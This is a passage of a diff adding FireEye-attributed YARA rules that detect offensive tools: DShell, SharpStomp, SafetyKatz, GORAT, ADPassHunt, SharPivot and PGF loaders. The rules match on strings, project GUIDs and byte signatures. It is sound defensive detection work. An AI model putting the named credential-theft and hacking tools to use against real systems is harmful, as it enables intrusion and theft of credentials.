+        $ss5 = "\x2f(\x00?\x00i\x00)\x00(\x00-\x00|\x00-\x00-\x00|\x00/\x00)\x00(\x00i\x00|\x00I\x00n\x00j\x00e\x00c\x00t\x00)\x00$\x00"
+        $ss6 = "\x2d(\x00?\x00i\x00)\x00(\x00-\x00|\x00-\x00-\x00|\x00/\x00)\x00(\x00c\x00|\x00C\x00l\x00e\x00a\x00n\x00)\x00$\x00"
+        $tb1 = "\x00DTrim.Execution.DynamicInvoke\x00"
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule APT_Backdoor_Win_DShell_3
+{
+    meta:
+        description = "This rule looks for strings specific to the D programming language in combination with sections of an integer array which contains the encoded payload found within DShell"
+        md5 = "cf752e9cd2eccbda5b8e4c29ab5554b6"
+        rev = 3
+        author = "FireEye"
+    strings:
+        $dlang1 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\utf.d" ascii wide
+        $dlang2 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\file.d" ascii wide
+        $dlang3 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\format.d" ascii wide
+        $dlang4 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\base64.d" ascii wide
+        $dlang5 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\stdio.d" ascii wide
+        $dlang6 = "\\..\\..\\src\\phobos\\std\\utf.d" ascii wide
+        $dlang7 = "\\..\\..\\src\\phobos\\std\\file.d" ascii wide
+        $dlang8 = "\\..\\..\\src\\phobos\\std\\format.d" ascii wide
+        $dlang9 = "\\..\\..\\src\\phobos\\std\\base64.d" ascii wide
+        $dlang10 = "\\..\\..\\src\\phobos\\std\\stdio.d" ascii wide
+        $dlang11 = "Unexpected '\\n' when converting from type const(char)[] to type int" ascii wide
+        $e0 = ",0,"
+        $e1 = ",1,"
+        $e2 = ",2,"
+        $e3 = ",3,"
+        $e4 = ",4,"
+        $e5 = ",5,"
+        $e6 = ",6,"
+        $e7 = ",7,"
+        $e8 = ",8,"
+        $e9 = ",9,"
+        $e10 = ",10,"
+        $e11 = ",11,"
+        $e12 = ",12,"
+        $e13 = ",13,"
+        $e14 = ",14,"
+        $e15 = ",15,"
+        $e16 = ",16,"
+        $e17 = ",17,"
+        $e18 = ",18,"
+        $e19 = ",19,"
+        $e20 = ",20,"
+        $e21 = ",21,"
+        $e22 = ",22,"
+        $e23 = ",23,"
+        $e24 = ",24,"
+        $e25 = ",25,"
+        $e26 = ",26,"
+        $e27 = ",27,"
+        $e28 = ",28,"
+        $e29 = ",29,"
+        $e30 = ",30,"
+        $e31 = ",31,"
+        $e32 = ",32,"
+        $e33 = ",33,"
+        $e34 = ",34,"
+        $e35 = ",35,"
+        $e36 = ",36,"
+        $e37 = ",37,"
+        $e38 = ",38,"
+        $e39 = ",39,"
+        $e40 = ",40,"
+        $e41 = ",41,"
+        $e42 = ",42,"
+        $e43 = ",43,"
+        $e44 = ",44,"
+        $e45 = ",45,"
+        $e46 = ",46,"
+        $e47 = ",47,"
+        $e48 = ",48,"
+        $e49 = ",49,"
+        $e50 = ",50,"
+        $e51 = ",51,"
+        $e52 = ",52,"
+        $e53 = ",53,"
+        $e54 = ",54,"
+        $e55 = ",55,"
+        $e56 = ",56,"
+        $e57 = ",57,"
+        $e58 = ",58,"
+        $e59 = ",59,"
+        $e60 = ",60,"
+        $e61 = ",61,"
+        $e62 = ",62,"
+        $e63 = ",63,"
+        $e64 = ",64,"
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and filesize > 500KB and filesize < 1500KB and 40 of ($e*) and 1 of ($dlang*)
+}
+rule APT_HackTool_MSIL_SHARPSTOMP_1
+{
+    meta:
+        date_created = "2020-12-02"
+        date_modified = "2020-12-02"
+        md5 = "83ed748cd94576700268d35666bf3e01"
+        rev = 3
+        author = "FireEye"
+    strings:
+        $s0 = "mscoree.dll" fullword nocase
+        $s1 = "timestompfile" fullword nocase
+        $s2 = "sharpstomp" fullword nocase
+        $s3 = "GetLastWriteTime" fullword
+        $s4 = "SetLastWriteTime" fullword
+        $s5 = "GetCreationTime" fullword
+        $s6 = "SetCreationTime" fullword
+        $s7 = "GetLastAccessTime" fullword
+        $s8 = "SetLastAccessTime" fullword
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule APT_HackTool_MSIL_SHARPPATCHCHECK_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharppatchcheck' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        rev = 2
+        author = "FireEye"
+    strings:
+        $typelibguid0 = "528b8df5-6e5e-4f3b-b617-ac35ed2f8975" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule HackTool_MSIL_SAFETYKATZ_4
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public SafetyKatz project."
+        md5 = "45736deb14f3a68e88b038183c23e597"
+        rev = 3
+        author = "FireEye"
+    strings:
+        $typelibguid1 = "8347E81B-89FC-42A9-B22C-F59A6A572DEC" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and $typelibguid1
+}
+rule APT_Backdoor_MacOS_GORAT_1
+{
+    meta:
+        description = "This rule is looking for specific strings associated with network activity found within the MacOS generated variant of GORAT"
+        md5 = "68acf11f5e456744262ff31beae58526"
+        rev = 3
+        author = "FireEye"
+    strings:
+        $s1 = "SID1=%s" ascii wide
+        $s2 = "http/http.dylib" ascii wide
+        $s3 = "Mozilla/" ascii wide
+        $s4 = "User-Agent" ascii wide
+        $s5 = "Cookie" ascii wide
+    condition:
+        ((uint32(0) == 0xBEBAFECA) or (uint32(0) == 0xFEEDFACE) or (uint32(0) == 0xFEEDFACF) or (uint32(0) == 0xCEFAEDFE)) and all of them
+}
+rule CredTheft_MSIL_ADPassHunt_2
+{
+    meta:
+        md5 = "6efb58cf54d1bb45c057efcfbbd68a93"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $pdb1 = "\\ADPassHunt\\"
+        $pdb2 = "\\ADPassHunt.pdb"
+        $s1 = "Usage: .\\ADPassHunt.exe"
+        $s2 = "[ADA] Searching for accounts with msSFU30Password attribute"
+        $s3 = "[ADA] Searching for accounts with userpassword attribute"
+        $s4 = "[GPP] Searching for passwords now"
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and ((@pdb2[1] < @pdb1[1] + 50) or 2 of ($s*))
+}
+rule APT_Loader_Win64_PGF_4
+{
+    meta:
+        date_created = "2020-11-26"
+        date_modified = "2020-11-26"
+        md5 = "3bb34ebd93b8ab5799f4843e8cc829fa"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $sb1 = { 41 B9 04 00 00 00 41 B8 00 10 00 00 BA [4] B9 00 00 00 00 [0-32] FF [1-24] 7? [1-150] 8B 45 [0-32] 44 0F B? ?? 8B [2-16] B? CD CC CC CC [0-16] C1 ?? 04 [0-16] C1 ?? 02 [0-16] C1 ?? 02 [0-16] 48 8? 05 [4-32] 31 [1-4] 88 }
+        $sb2 = { C? 45 ?? 48 [0-32] B8 [0-64] FF [0-32] E0 [0-32] 41 B8 40 00 00 00 BA 0C 00 00 00 48 8B [2] 48 8B [2-32] FF [1-16] 48 89 10 8B 55 ?? 89 ?? 08 48 8B [2] 48 8D ?? 02 48 8B 45 18 48 89 02 }
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x020B) and all of them
+}
+rule APT_Loader_Win32_PGF_4
+{
+    meta:
+        date_created = "2020-11-26"
+        date_modified = "2020-11-26"
+        md5 = "4414953fa397a41156f6fa4f9462d207"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $sb1 = { C7 44 24 0C 04 00 00 00 C7 44 24 08 00 10 00 00 [4-32] C7 04 24 00 00 00 00 [0-32] FF [1-16] 89 45 ?? 83 7D ?? 00 [2-150] 0F B? ?? 8B [2] B? CD CC CC CC 89 ?? F7 ?? C1 ?? 04 89 ?? C1 ?? 02 [0-32] 0F B? [5-32] 3? [1-16] 88 }
+        $sb2 = { C? 45 ?? B8 [0-4] C? 45 ?? 00 [0-64] FF [0-32] E0 [0-32] C7 44 24 08 40 00 00 00 [0-32] C7 44 24 04 07 00 00 00 [0-32] FF [1-64] 89 ?? 0F B? [2-3] 89 ?? 04 0F B? [2] 88 ?? 06 8B ?? 08 8D ?? 01 8B 45 0C }
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x010B) and all of them
+}
+rule CredTheft_MSIL_ADPassHunt_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public ADPassHunt project."
+        md5 = "6efb58cf54d1bb45c057efcfbbd68a93"
+        rev = 4
+        author = "FireEye"
+    strings:
+        $typelibguid = "15745B9E-A059-4AF1-A0D8-863E349CD85D" ascii nocase wide
+    condition:
+        uint16(0) == 0x5A4D and $typelibguid
+}
+rule HackTool_MSIL_GETDOMAINPASSWORDPOLICY_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the recon utility 'getdomainpasswordpolicy' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        rev = 4
+        author = "FireEye"
+    strings:
+        $typelibguid0 = "a5da1897-29aa-45f4-a924-561804276f08" ascii nocase wide
+    condition:
+        filesize < 10MB and (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule HackTool_MSIL_SharPivot_1
+{
+    meta:
+        date_created = "2020-11-25"
+        date_modified = "2020-11-25"
+        md5 = "e4efa759d425e2f26fbc29943a30f5bd"
+        rev = 3
+        author = "FireEye"
+    strings:
+        $s2 = { 73 ?? 00 00 0A 0A 06 1F ?? 1F ?? 6F ?? 00 00 0A 0B 73 ?? 00 00 0A 0C 16 13 04 2B 5E 23 [8] 06 6F ?? 00 00 0A 5A 23 [8] 58 28 ?? 00 00 0A 28 ?? 00 00 0A 28 ?? 00 00 0A }
+        $s3 = "cmd_rpc" wide
+        $s4 = "costura"
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule APT_Loader_Win32_PGF_3
+{
+    meta:
+        description = "PGF payload, generated rule based on symfunc/c02594972dbab6d489b46c5dee059e66. Identifies dllmain_hook x86 payloads."
+        md5 = "4414953fa397a41156f6fa4f9462d207"
+        rev = 4
+        author = "FireEye"
+    strings:
+        $cond1 = { 55 89 E5 57 56 53 81 EC FC 06 00 00 C7 85 2C F9 FF FF 90 EE 01 6D C7 85 30 F9 FF FF 6C FE 01 6D 8D 85 34 F9 FF FF 89 28 BA CC 19 00 6D 89 50 04 89 60 08 8D 85 14 F9 FF FF 89 04 24 E8 BB A6 00 00 A1 48 A1 05 6D C7 85 18 F9 FF FF FF FF FF FF FF D0 C7 44 24 08 04 01 00 00 8D 95 B6 FD FF FF 89 54 24 04 89 04 24 E8 B8 AE 00 00 83 EC 0C 85 C0 0F 94 C0 84 C0 0F 85 8B 03 00 00 8D 45 BF 89 C1 E8 56 0B 01 00 8D 85 9C FD FF FF 8D 55 BF 89 54 24 04 8D 95 B6 FD FF FF 89 14 24 C7 85 18 F9 FF FF 01 00 00 00 89 C1 E8 DF B5 01 00 83 EC 08 8D 45 BF 89 C1 E8 52 0B 01 00 A1 4C A1 05 6D C7 85 18 F9 FF FF 02 00 00 00 FF D0 89 44 24 04 C7 04 24 08 00 00 00 E8 51 AE 00 00 83 EC 08 89 45 D0 83 7D D0 00 75 0F C7 85 10 F9 FF FF 00 00 00 00 E9 8C 02 00 00 C7 45 E4 00 00 00 00 C7 45 E0 00 00 00 00 C7 85 74 F9 FF FF 28 04 00 00 8D 85 74 F9 FF FF 89 44 24 04 8B 45 D0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 EF AD 00 00 83 EC 08 89 45 DC 83 7D DC 00 74 67 8D 85 9C FD FF FF C7 44 24 04 00 00 00 00 8D 95 74 F9 FF FF 83 C2 20 89 14 24 89 C1 E8 82 FF 00 00 83 EC 08 83 F8 FF 0F 95 C0 84 C0 74 12 8B 85 88 F9 FF FF 89 45 E4 8B 85 8C F9 FF FF 89 45 E0 8D 85 74 F9 FF FF 89 44 24 04 8B 45 D0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 84 AD 00 00 83 EC 08 89 45 DC EB 93 8B 45 D0 89 04 24 A1 2C A1 05 6D C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 04 83 7D E4 00 74 06 83 7D E0 00 75 0F C7 85 10 F9 FF FF 00 00 00 00 E9 AD 01 00 00 C7 04 24 0C 40 05 6D A1 5C A1 05 6D C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 04 C7 44 24 04 18 40 05 6D 89 04 24 A1 60 A1 05 6D FF D0 83 EC 08 89 45 CC 89 E8 89 45 D8 8D 85 6C F9 FF FF 89 44 24 04 8D 85 70 F9 FF FF 89 04 24 A1 54 A1 05 6D FF D0 83 EC 08 C7 45 D4 00 00 00 00 8B 55 D8 8B 85 6C F9 FF FF 39 C2 0F 83 F5 00 00 00 8B 45 D8 8B 00 3D FF 0F 00 00 0F 86 D8 00 00 00 8B 45 D8 8B 00 39 45 CC 73 19 8B 45 D8 8B 00 8B 55 CC 81 C2 00 10 00 00 39 D0 73 07 C7 45 D4 01 00 00 00 83 7D D4 00 0F 84 AF 00 00 00 8B 45 D8 8B 00 39 45 E4 0F 83 A1 00 00 00 8B 45 D8 8B 00 8B 4D E4 8B 55 E0 01 CA 39 D0 0F 83 8C 00 00 00 B9 00 00 00 00 B8 1C 00 00 00 83 E0 FC 89 C2 B8 00 00 00 00 89 8C 05 50 F9 FF FF 83 C0 04 39 D0 72 F2 8B 45 D8 8B 00 C7 44 24 08 1C 00 00 00 8D 95 50 F9 FF FF 89 54 24 04 89 04 24 A1 9C A1 05 6D C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 0C 8B 85 64 F9 FF FF 83 E0 20 85 C0 74 2E 8B 45 D8 8B 00 C7 44 24 04 30 14 00 6D 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 59 FC FF FF C7 85 10 F9 FF FF 00 00 00 00 EB 58 90 EB 01 90 83 45 D8 04 E9 FA FE FF FF 8B 45 E4 89 45 C8 8B 45 C8 8B 40 3C 89 C2 8B 45 E4 01 D0 89 45 C4 8B 45 C4 8B 50 28 8B 45 E4 01 D0 89 45 C0 C7 44 24 04 30 14 00 6D 8B 45 C0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 FF FB FF FF C7 85 10 F9 FF FF 01 00 00 00 8D 85 9C FD FF FF 89 C1 E8 5D BC 01 00 83 BD 10 F9 FF FF 01 EB 70 8B 95 1C F9 FF FF 8B 85 18 F9 FF FF 85 C0 74 0C 83 E8 01 85 C0 74 2D 83 E8 01 0F 0B 89 95 10 F9 FF FF 8D 45 BF 89 C1 E8 48 08 01 00 8B 85 10 F9 FF FF 89 04 24 C7 85 18 F9 FF FF FF FF FF FF E8 A0 A6 00 00 89 95 10 F9 FF FF 8D 85 9C FD FF FF 89 C1 E8 FD BB 01 00 8B 85 10 F9 FF FF 89 04 24 C7 85 18 F9 FF FF FF FF FF FF E8 75 A6 00 00 90 8D 85 14 F9 FF FF 89 04 24 E8 76 A3 00 00 8D 65 F4 5B 5E 5F 5D C3 }
+        $cond2 = { 55 89 E5 57 56 53 81 EC FC 06 00 00 C7 85 2C F9 FF FF B0 EF 3D 6A C7 85 30 F9 FF FF 8C FF 3D 6A 8D 85 34 F9 FF FF 89 28 BA F4 1A 3C 6A 89 50 04 89 60 08 8D 85 14 F9 FF FF 89 04 24 E8 B3 A6 00 00 A1 64 A1 41 6A C7 85 18 F9 FF FF FF FF FF FF FF D0 C7 44 24 08 04 01 00 00 8D 95 B6 FD FF FF 89 54 24 04 89 04 24 E8 B0 AE 00 00 83 EC 0C 85 C0 0F 94 C0 84 C0 0F 85 8B 03 00 00 8D 45 BF 89 C1 E8 4E 0B 01 00 8D 85 9C FD FF FF 8D 55 BF 89 54 24 04 8D 95 B6 FD FF FF 89 14 24 C7 85 18 F9 FF FF 01 00 00 00 89 C1 E8 D7 B5 01 00 83 EC 08 8D 45 BF 89 C1 E8 4A 0B 01 00 A1 68 A1 41 6A C7 85 18 F9 FF FF 02 00 00 00 FF D0 89 44 24 04 C7 04 24 08 00 00 00 E8 49 AE 00 00 83 EC 08 89 45 D0 83 7D D0 00 75 0F C7 85 10 F9 FF FF 00 00 00 00 E9 8C 02 00 00 C7 45 E4 00 00 00 00 C7 45 E0 00 00 00 00 C7 85 74 F9 FF FF 28 04 00 00 8D 85 74 F9 FF FF 89 44 24 04 8B 45 D0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 E7 AD 00 00 83 EC 08 89 45 DC 83 7D DC 00 74 67 8D 85 9C FD FF FF C7 44 24 04 00 00 00 00 8D 95 74 F9 FF FF 83 C2 20 89 14 24 89 C1 E8 7A FF 00 00 83 EC 08 83 F8 FF 0F 95 C0 84 C0 74 12 8B 85 88 F9 FF FF 89 45 E4 8B 85 8C F9 FF FF 89 45 E0 8D 85 74 F9 FF FF 89 44 24 04 8B 45 D0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 7C AD 00 00 83 EC 08 89 45 DC EB 93 8B 45 D0 89 04 24 A1 44 A1 41 6A C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 04 83 7D E4 00 74 06 83 7D E0 00 75 0F C7 85 10 F9 FF FF 00 00 00 00 E9 AD 01 00 00 C7 04 24 62 40 41 6A A1 78 A1 41 6A C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 04 C7 44 24 04 6E 40 41 6A 89 04 24 A1 7C A1 41 6A FF D0 83 EC 08 89 45 CC 89 E8 89 45 D8 8D 85 6C F9 FF FF 89 44 24 04 8D 85 70 F9 FF FF 89 04 24 A1 70 A1 41 6A FF D0 83 EC 08 C7 45 D4 00 00 00 00 8B 55 D8 8B 85 6C F9 FF FF 39 C2 0F 83 F5 00 00 00 8B 45 D8 8B 00 3D FF 0F 00 00 0F 86 D8 00 00 00 8B 45 D8 8B 00 39 45 CC 73 19 8B 45 D8 8B 00 8B 55 CC 81 C2 00 10 00 00 39 D0 73 07 C7 45 D4 01 00 00 00 83 7D D4 00 0F 84 AF 00 00 00 8B 45 D8 8B 00 39 45 E4 0F 83 A1 00 00 00 8B 45 D8 8B 00 8B 4D E4 8B 55 E0 01 CA 39 D0 0F 83 8C 00 00 00 B9 00 00 00 00 B8 1C 00 00 00 83 E0 FC 89 C2 B8 00 00 00 00 89 8C 05 50 F9 FF FF 83 C0 04 39 D0 72 F2 8B 45 D8 8B 00 C7 44 24 08 1C 00 00 00 8D 95 50 F9 FF FF 89 54 24 04 89 04 24 A1 C8 A1 41 6A C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 0C 8B 85 64 F9 FF FF 83 E0 20 85 C0 74 2E 8B 45 D8 8B 00 C7 44 24 04 30 14 3C 6A 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 59 FC FF FF C7 85 10 F9 FF FF 00 00 00 00 EB 58 90 EB 01 90 83 45 D8 04 E9 FA FE FF FF 8B 45 E4 89 45 C8 8B 45 C8 8B 40 3C 89 C2 8B 45 E4 01 D0 89 45 C4 8B 45 C4 8B 50 28 8B 45 E4 01 D0 89 45 C0 C7 44 24 04 30 14 3C 6A 8B 45 C0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 FF FB FF FF C7 85 10 F9 FF FF 01 00 00 00 8D 85 9C FD FF FF 89 C1 E8 55 BC 01 00 83 BD 10 F9 FF FF 01 EB 70 8B 95 1C F9 FF FF 8B 85 18 F9 FF FF 85 C0 74 0C 83 E8 01 85 C0 74 2D 83 E8 01 0F 0B 89 95 10 F9 FF FF 8D 45 BF 89 C1 E8 40 08 01 00 8B 85 10 F9 FF FF 89 04 24 C7 85 18 F9 FF FF FF FF FF FF E8 98 A6 00 00 89 95 10 F9 FF FF 8D 85 9C FD FF FF 89 C1 E8 F5 BB 01 00 8B 85 10 F9 FF FF 89 04 24 C7 85 18 F9 FF FF FF FF FF FF E8 6D A6 00 00 90 8D 85 14 F9 FF FF 89 04 24 E8 6E A3 00 00 8D 65 F4 5B 5E 5F 5D C3 }
+        $cond3 = { 55 89 E5 57 56 53 81 EC FC 06 00 00 C7 85 2C F9 FF FF F0 EF D5 63 C7 85 30 F9 FF FF CC FF D5 63 8D 85 34 F9 FF FF 89 28 BA 28 1B D4 63 89 50 04 89 60 08 8D 85 14 F9 FF FF 89 04 24 E8 BF A6 00 00 A1 64 A1 D9 63 C7 85 18 F9 FF FF FF FF FF FF FF D0 C7 44 24 08 04 01 00 00 8D 95 B6 FD FF FF 89 54 24 04 89 04 24 E8 BC AE 00 00 83 EC 0C 85 C0 0F 94 C0 84 C0 0F 85 8B 03 00 00 8D 45 BF 89 C1 E8 5A 0B 01 00 8D 85 9C FD FF FF 8D 55 BF 89 54 24 04 8D 95 B6 FD FF FF 89 14 24 C7 85 18 F9 FF FF 01 00 00 00 89 C1 E8 E3 B5 01 00 83 EC 08 8D 45 BF 89 C1 E8 56 0B 01 00 A1 68 A1 D9 63 C7 85 18 F9 FF FF 02 00 00 00 FF D0 89 44 24 04 C7 04 24 08 00 00 00 E8 55 AE 00 00 83 EC 08 89 45 D0 83 7D D0 00 75 0F C7 85 10 F9 FF FF 00 00 00 00 E9 8C 02 00 00 C7 45 E4 00 00 00 00 C7 45 E0 00 00 00 00 C7 85 74 F9 FF FF 28 04 00 00 8D 85 74 F9 FF FF 89 44 24 04 8B 45 D0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 F3 AD 00 00 83 EC 08 89 45 DC 83 7D DC 00 74 67 8D 85 9C FD FF FF C7 44 24 04 00 00 00 00 8D 95 74 F9 FF FF 83 C2 20 89 14 24 89 C1 E8 86 FF 00 00 83 EC 08 83 F8 FF 0F 95 C0 84 C0 74 12 8B 85 88 F9 FF FF 89 45 E4 8B 85 8C F9 FF FF 89 45 E0 8D 85 74 F9 FF FF 89 44 24 04 8B 45 D0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 88 AD 00 00 83 EC 08 89 45 DC EB 93 8B 45 D0 89 04 24 A1 44 A1 D9 63 C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 04 83 7D E4 00 74 06 83 7D E0 00 75 0F C7 85 10 F9 FF FF 00 00 00 00 E9 AD 01 00 00 C7 04 24 7E 40 D9 63 A1 7C A1 D9 63 C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 04 C7 44 24 04 8A 40 D9 63 89 04 24 A1 80 A1 D9 63 FF D0 83 EC 08 89 45 CC 89 E8 89 45 D8 8D 85 6C F9 FF FF 89 44 24 04 8D 85 70 F9 FF FF 89 04 24 A1 70 A1 D9 63 FF D0 83 EC 08 C7 45 D4 00 00 00 00 8B 55 D8 8B 85 6C F9 FF FF 39 C2 0F 83 F5 00 00 00 8B 45 D8 8B 00 3D FF 0F 00 00 0F 86 D8 00 00 00 8B 45 D8 8B 00 39 45 CC 73 19 8B 45 D8 8B 00 8B 55 CC 81 C2 00 10 00 00 39 D0 73 07 C7 45 D4 01 00 00 00 83 7D D4 00 0F 84 AF 00 00 00 8B 45 D8 8B 00 39 45 E4 0F 83 A1 00 00 00 8B 45 D8 8B 00 8B 4D E4 8B 55 E0 01 CA 39 D0 0F 83 8C 00 00 00 B9 00 00 00 00 B8 1C 00 00 00 83 E0 FC 89 C2 B8 00 00 00 00 89 8C 05 50 F9 FF FF 83 C0 04 39 D0 72 F2 8B 45 D8 8B 00 C7 44 24 08 1C 00 00 00 8D 95 50 F9 FF FF 89 54 24 04 89 04 24 A1 C8 A1 D9 63 C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 0C 8B 85 64 F9 FF FF 83 E0 20 85 C0 74 2E 8B 45 D8 8B 00 C7 44 24 04 30 14 D4 63 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 59 FC FF FF C7 85 10 F9 FF FF 00 00 00 00 EB 58 90 EB 01 90 83 45 D8 04 E9 FA FE FF FF 8B 45 E4 89 45 C8 8B 45 C8 8B 40 3C 89 C2 8B 45 E4 01 D0 89 45 C4 8B 45 C4 8B 50 28 8B 45 E4 01 D0 89 45 C0 C7 44 24 04 30 14 D4 63 8B 45 C0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 FF FB FF FF C7 85 10 F9 FF FF 01 00 00 00 8D 85 9C FD FF FF 89 C1 E8 61 BC 01 00 83 BD 10 F9 FF FF 01 EB 70 8B 95 1C F9 FF FF 8B 85 18 F9 FF FF 85 C0 74 0C 83 E8 01 85 C0 74 2D 83 E8 01 0F 0B 89 95 10 F9 FF FF 8D 45 BF 89 C1 E8 4C 08 01 00 8B 85 10 F9 FF FF 89 04 24 C7 85 18 F9 FF FF FF FF FF FF E8 A4 A6 00 00 89 95 10 F9 FF FF 8D 85 9C FD FF FF 89 C1 E8 01 BC 01 00 8B 85 10 F9 FF FF 89 04 24 C7 85 18 F9 FF FF FF FF FF FF E8 79 A6 00 00 90 8D 85 14 F9 FF FF 89 04 24 E8 7A A3 00 00 8D 65 F4 5B 5E 5F 5D C3 }
+        $cond4 = { 55 89 E5 57 56 53 81 EC FC 06 00 00 C7 85 ?? ?? ?? ?? 90 EE 01 6D C7 85 ?? ?? ?? ?? 6C FE 01 6D 8D 85 ?? ?? ?? ?? 89 28 BA CC 19 00 6D 89 50 ?? 89 60 ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? FF FF FF FF FF D0 C7 44 24 ?? 04 01 00 00 8D 95 ?? ?? ?? ?? 89 54 24 ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC 0C 85 C0 0F 94 C0 84 C0 0F 85 ?? ?? ?? ?? 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 55 ?? 89 54 24 ?? 8D 95 ?? ?? ?? ?? 89 14 24 C7 85 ?? ?? ?? ?? 01 00 00 00 89 C1 E8 ?? ?? ?? ?? 83 EC 08 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 89 44 24 ?? C7 04 24 08 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? 83 7D ?? 00 75 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 E9 ?? ?? ?? ?? C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 C7 85 ?? ?? ?? ?? 28 04 00 00 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? 83 7D ?? 00 74 ?? 8D 85 ?? ?? ?? ?? C7 44 24 ?? 00 00 00 00 8D 95 ?? ?? ?? ?? 83 C2 20 89 14 24 89 C1 E8 ?? ?? ?? ?? 83 EC 08 83 F8 FF 0F 95 C0 84 C0 74 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? EB ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 04 83 7D ?? 00 74 ?? 83 7D ?? 00 75 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 E9 ?? ?? ?? ?? C7 04 24 0C 40 05 6D A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 04 C7 44 24 ?? 18 40 05 6D 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC 08 89 45 ?? 89 E8 89 45 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC 08 C7 45 ?? 00 00 00 00 8B 55 ?? 8B 85 ?? ?? ?? ?? 39 C2 0F 83 ?? ?? ?? ?? 8B 45 ?? 8B 00 3D FF 0F 00 00 0F 86 ?? ?? ?? ?? 8B 45 ?? 8B 00 39 45 ?? 73 ?? 8B 45 ?? 8B 00 8B 55 ?? 81 C2 00 10 00 00 39 D0 73 ?? C7 45 ?? 01 00 00 00 83 7D ?? 00 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 00 39 45 ?? 0F 83 ?? ?? ?? ?? 8B 45 ?? 8B 00 8B 4D ?? 8B 55 ?? 01 CA 39 D0 0F 83 ?? ?? ?? ?? B9 00 00 